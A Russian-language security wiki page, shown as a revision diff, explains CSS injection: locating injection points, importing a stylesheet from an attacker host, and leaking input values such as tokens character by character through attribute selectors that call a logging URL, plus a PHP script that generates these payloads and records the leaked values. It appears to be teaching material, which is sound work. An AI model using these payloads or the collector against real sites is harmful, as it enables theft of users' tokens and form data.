Cssi — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (Автоматизация)
м (Автоматизация)
Строка 125: Строка 125:
 
                                 $word .
 
                                 $word .
 
                          $value .  
 
                          $value .  
']{ background-image:url(' .  
+
          ']{ background-image:url(' .  
 
                            url() .  
 
                            url() .  
 
                      '?site_id=' .  
 
                      '?site_id=' .  
Строка 135: Строка 135:
  
 
?>
 
?>
 +
 
</syntaxhighlight>
 
</syntaxhighlight>
  

Версия 21:26, 22 июля 2017

CSS Injection - уязвимость, позволяющая запустить произвольный CSS код на стороне жертвы.

Поиск уязвимости

Загрузка из JS

HTML код страницы может редактироваться в зависимости от действий пользователя.

Например, цвет может быть помещен в hash URL'а (то, что после решетки) и с помощью JS перенесен в CSS:

document.getElementById("...").style.cssText = "color: " + location.hash.slice(1);

То есть все сводится к тому, что нужно изучить JS код страницы и найти параметры, которые может изменить пользователь.

Загрузка из backend'а

Данный способ отличается от предыдущего тем, что параметры вставляются в код страницы с помощью backend языка разработки.

Например:

 <span style="color: <?php echo $_GET['color']; ?>">

В данном случае изучение очень похоже на поиск XSS.

Эксплуатация

Работает не во всех браузерах.

Для удобства эксплуатации требуется подкачать свой css файлик с вредоносным кодом с помощью команды import (иначе может просто не хватить места):

<style>
@import "http://hackersite.org/exploit.css"; 
</style>

Взаимодействовать возможно только со значениями названных полей (иначе мы не сможем обратиться к данным).

Получение токенов

Получение токенов (например токенов CSS) или других важных данных возможно с помощью перебора.


Firefox

В данном случае идет перебор параметра value поля input:

input[value^=a]{ background-image:url(http://itsecwiki.org/log?a); }
input[value^=b]{ background-image:url(http://itsecwiki.org/log?b); }
input[value^=c]{ background-image:url(http://itsecwiki.org/log?c); }
...
input[value^=f]{ background-image:url(http://itsecwiki.org/log?f); } /* запрос прошел */
...
input[value^=z]{ background-image:url(http://itsecwiki.org/log?z); }
input[value^=a]{ background-image:url(http://itsecwiki.org/log?z); }
input[value^=ab]{ background-image:url(http://itsecwiki.org/log?z); }
...
input[value^=flag]{ background-image:url(http://itsecwiki.org/log?flag);/* запрос прошел */
...

И в итоге на сервер придут запросы: log?f, log?fl, log?fla и log?flag.

Можно перебирать по одной букве.

Chrome

Автоматизация

<?php

/* Использование

http://site/cssinj.php?form=input&
                      param=value&
                      siteid=1337&
                      alph=abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_&
                      word=fla

*/

$alph = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_';
$word = '';
$siteid = '1';

if (isset($_GET['siteid'])){
	$siteid = $_GET['siteid'];
}

//Если атака прошла успешно
if (isset($_GET['value'])){
	file_put_contents( 'cssi_result_' . $siteid . '.txt', $_GET['value'] . "\n", FILE_APPEND | LOCK_EX);
	exit();
}


function url(){
		return explode("?",sprintf(
			"%s://%s%s",
			isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
			$_SERVER['SERVER_NAME'],
			$_SERVER['REQUEST_URI']
		))[0];
}


if (isset($_GET['alph'])){
	$alph = $_GET['alph'];
}

if (isset($_GET['word'])){
	$word = $_GET['word'];
}



$alph_chars = str_split($alph);

foreach ($alph_chars as &$value) {
	               echo $_GET['form'] . 
	                              '[' . 
	                   $_GET['param'] . 
	                             '^=' . 
                                $word .
	                           $value . 
           ']{ background-image:url(' . 
	                            url() . 
	                      '?site_id=' . 
	                          $siteid . 
	                        '&value=' . 
	                urlencode($value) . 
	                "); }\n";
}

?>

CSS inj -> XSS

Примеры

Полезные ссылки

https://www.owasp.org/index.php/Testing_for_CSS_Injection_(OTG-CLIENT-005)

Заметка: добавить про чтение токенов и PRSSI